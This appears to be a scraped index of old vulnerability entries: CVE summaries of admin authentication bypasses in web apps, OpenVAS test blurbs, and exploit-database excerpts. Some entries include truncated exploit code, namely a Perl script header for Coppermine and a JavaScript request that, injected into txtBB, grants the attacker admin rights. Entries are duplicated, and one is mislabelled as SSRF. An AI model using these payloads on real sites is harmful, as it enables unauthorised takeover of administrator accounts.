CVE-2008-6912

Zeeways SHAADICLONE 2.0 allows remote attackers to bypass authentication and gain administrative privileges via a direct request to admin/home.php...

CVE-2009-2393

admin/index.php in Virtuenetz Virtue Online Test Generator does not require administrative privileges, which allows remote authenticated users to have an unknown impact via unspecified vectors...

CVE-2009-2393

admin/index.php in Virtuenetz Virtue Online Test Generator does not require administrative privileges, which allows remote authenticated users to have an unknown impact via unspecified vectors...

[InterN0T] SkyBlueCanvas 1.1 r237 - Multiple Vulnerabilities

SkyBlueCanvas - XSS and Path Content Disclosure Vulnerabilities Version Affected: 1.1 r237 newest version: 1.1 r246 Info: SkyBlueCanvas Lightweight CMS is an open source, free content management system written in php and built specifically for small web sites. The entire site you are viewing is a...

CVE-2009-1780

CVE-2009-1780 affects Frax.dk Php Recommend 1.3 and earlier. The issue is in the password-change flow where authentication is not required, enabling remote attackers to gain administrative privileges by submitting manipulated form_admin_user and form_admin_pass parameters. The core impact is unau...

Server side request forgery (ssrf)

admin/adminaddeditdetails.php in Business Community Script does not properly restrict access, which allows remote attackers to gain privileges and add administrators via a direct request...

CVE-2009-1652

admin/adminaddeditdetails.php in Business Community Script does not properly restrict access, which allows remote attackers to gain privileges and add administrators via a direct request...

Authentication flaw

connection.php in FlashChat 5.0.8 allows remote attackers to bypass the role filter mechanism and gain administrative privileges by setting the s parameter to "7."...

CVE-2008-6799

CVE-2008-6799 affects FlashChat 5.0.8. The vulnerability allows remote attackers to bypass the role filter mechanism and gain administrative privileges by setting the s parameter to "7" in connection.php. Public sources (e.g., NVD/NIST, OpenVAS NASL) corroborate a security bypass in FlashChat’s r...

Concave Yaya news publishing system WebBasicInfo. asp administrator privileges unauthenticated vulnerability-vulnerability warning-the black bar safety net

Found by:skerwww. zerobox. org The affected version Concave Yaya news publishing system 4. 7ACC version Other version not tested Vulnerability description Concave Yaya news publishing system is an ASP program in conjunction with the ACC and MYSQL CMS system Vulnerability is the path where the...

CVE-2008-6701

NetScout Visualizer V2100 and InfiniStream i1730 expose a direct access path to ResourceManager/en_US/domains/add_domain.jsp, allowing remote attackers to obtain administrator privileges. The issue arises from lack of access restriction on this resource, enabling privilege escalation via a direct...

CVE-2008-6613

CVE-2008-6613 affects minimal-ablog 0.4, where uploader.php fails to properly restrict access. This allows remote attackers to gain administrative privileges via a direct request. The description and linked references confirm the component and impact but do not provide exploit details, affected v...

Coppermine Photo Gallery 1.4.20 - 'IMG' Privilege Escalation

!/usr/bin/perl inphex - inphex0 at gmail dot com based on http://milw0rm.com/exploits/8114 - found by StAkeR In case this does not work check out posLine 80 and find another value for it use IO::Socket; use LWP::UserAgent; use LWP::Simple; use HTTP::Cookies; $1 = shift; HOST $h = $1 eq ""?$n = 0:...

Coppermine Photo Gallery 1.4.20 - IMG Privilege Escalation

Coppermine Photo Gallery 1.4.20 - IMG Privilege Escalation !/usr/bin/perl inphex - inphex0 at gmail dot com based on http://milw0rm.com/exploits/8114 - found by StAkeR In case this does not work check out posLine 80 and find another value for it use IO::Socket; use LWP::UserAgent; use LWP::Simple...

txtBB <= 1.0 RC3 HTML/JS Injection - Add Admin Privileges Exploit

No description provided by source. !-- txtBB = 1.0 RC3 HTML/JS Injection - Add Admin Privileges Exploit By cOndemned Greetz: ZaBeaTy, sid.psycho, Alfons Luja, vCore, irk4z & str0ke ; Exploitation: 1. Create an account 2. Go to http://host/txtbb10RC3path/index.php?type=account 3. Put exploit code...

Reflection for Secure IT Multiple Vulnerabilities (Linux)

This host is installed with Reflections for Secure IT and is prone to Multiple vulnerabilities. OpenVAS Vulnerability Test $Id: gbreflectionsecureitunixmultvulnlin.nasl 7113 2017-09-13 06:03:30Z cfischer $ Reflection for Secure IT Multiple Vulnerabilities Linux Authors: Sujit Ghosal Copyright:...

Reflection for Secure IT Multiple Vulnerabilities

Reflections for Secure IT is prone to multiple vulnerabilities. SPDX-FileCopyrightText: 2009 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only CPE =...

txtBB 1.0 RC3 Injection

var req = new XMLHttpRequest; req.open'POST', 'admin.php?action=users&type=edit&login=USERNICK&save=1', false; req.setRequestHeader'Content-Type', 'application/x-www-form-urlencoded'; req.send'signature=&avatar=&type=3&password=&submit=Zapisz';...

txtBB 1.0 RC3 - HTMLJS Injection Arbitrary Add Admin Privileges

txtBB 1.0 RC3 - HTMLJS Injection Arbitrary Add Admin Privileges var req = new XMLHttpRequest; req.open'POST', 'admin.php?action=users&type=edit&login=USERNICK&save=1', false; req.setRequestHeader'Content-Type', 'application/x-www-form-urlencoded';...

txtBB <= 1.0 RC3 HTML/JS Injection - Add Admin Privileges Exploit

Exploit for unknown platform in category web applications ================================================================= txtBB var req = new XMLHttpRequest; req.open'POST', 'admin.php?action=users&type=edit&login=USERNICK&save=1', false; req.setRequestHeader'Content-Type',...